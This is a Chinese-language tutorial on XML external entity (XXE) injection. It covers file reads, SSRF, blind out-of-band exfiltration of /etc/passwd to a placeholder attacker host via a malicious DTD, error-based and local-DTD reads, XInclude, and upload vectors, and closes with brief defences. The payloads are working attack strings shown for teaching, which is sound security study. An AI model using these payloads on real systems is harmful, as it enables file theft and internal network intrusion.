xxe 漏洞分析

XXE:XML 外部实体注入漏洞

对客户端传入的数据未经检并且未禁止外部实体引入,解析 XML 时,导致调用实体命令。

XML 允许定义定制实体:

1
2
<!DOCTYPE foo [<!ENTITY testref "testrefvalue">]
<somexml><message>&testref;</message></somexml>

解析器将会用 testrefvalue 代替&testref;

读取文件

实体内容调用 file 协议:

1
2
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///window/win.ini">]>
<somexml><message>&xxe;</message></somexml>

XXE 引起的 SSRF

除了使用 file 协议访问本地文件外,也可使用 http:等协议通过网络提取资源,可以用于探测内网

1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://192.168.99.1/"> ]>

可能导致攻击者将应用程序当做代理,探测企业内部网络,进而利用内部系统的漏洞。

XXE 盲注

有时候不会回显读取结果,需要用带外技术确认漏洞。
攻击者监听一个自己的服务看是否会有请求过来:

1
<!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://f2g9j7hhkax.web-attacker.com"> ]>

引入外部 DTD 文件,将内容传到攻击者服务器

DTD 文件:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; exfiltrate SYSTEM 'http://web-attacker.com/?x=%file;'>">
%eval;
%exfiltrate;

然后请求服务器引入我们的 DTD 文件:

1
2
<!DOCTYPE foo [<!ENTITY % xxe SYSTEM
"http://web-attacker.com/malicious.dtd"> %xxe;]>

这将导致 XML 解析器从攻击者的服务器获取外部 DTD 并内联解释。然后执行恶意 DTD 中定义的步骤,并将/etc/passwd 文件传输到攻击者的服务器。

引入外部 DTD + 报错读取文件

DTD 内容如下:

1
2
3
4
<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

这时候如果引入此 DTD,由于%file/etc/passwd 的内容,所以 error 实体指定的文件并不存在,这个时候会报错如下:

1
2
3
java.io.FileNotFoundException: /nonexistent/root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

引入内部 DTD + 报错读取

有时候服务器不允许引入外部 DTD,可以考虑查找一下是否有服务本地的 DTD 文件,利用其中定义的实体变量

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
<!ENTITY % custom_entity '
<!ENTITY &#x25; file SYSTEM "file:///etc/passwd">
<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">
&#x25;eval;
&#x25;error;
'>
%local_dtd;
]>

以上内容中的custom_entity实体在file:///usr/local/app/schema.dtd中已经存在,这时候重新定义这个实体的内容,引入 DTD 执行,触发我们定义的内容,进而报错,输出/etc/passwd的内容。

如何找到这个内部 DTD

如果找不到就会报错,所以可以尝试常见的linux本地DTD文件,比如

1
2
3
4
<!DOCTYPE foo [
<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">
%local_dtd;
]>

通过搜索常见 DTD 列表,编写脚本批量请求,确认存在的文件,然后查看该文件,看哪些实体变量可以使用。

XInclude

这种是因为后台将我们的请求数据放入后端 SOAP 服务,我们无法控制 XML 全文,无法引入实体
XInclude是 XML 规范的一部分,该规范允许从子文档构建 XML 文档。
通过XInclude引入文件读取文件内容:

1
2
<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

特殊文件上传处理引起的 XXE

有一些文件是基于 XML 的,如 SVG 图像,DOCX 文档,如果后端在文件上传之后对这些类型的文件进行解析之类,就有可能触发 XXE。这个时候我们可以传入一个恶意的 SVG 图像触发漏洞。

更改 content-type 后触发 XXE

通常 form 上传时的 content-type 是 application/x-www-form-urlencoded,但是有些网站可以在修改之后提交 xml 格式。

原来的请求:

1
2
3
4
5
POST /action HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 7

foo=bar

修改之后:

1
2
3
4
5
POST /action HTTP/1.0
Content-Type: text/xml
Content-Length: 52

<?xml version="1.0" encoding="UTF-8"?><foo>bar</foo>

如果解析这种 XML,很有可能是一个隐藏的 XXE 漏洞点。

防范

  • 禁用外部实体
  • 禁用 XInclude
  • 检查 XML 相关开发包是否默认开启了一些危险功能

例子

https://vulhub.org/#/environments/php/php_xxe/

参考 paper

https://portswigger.net/web-security/xxe
https://portswigger.net/web-security/xxe/blind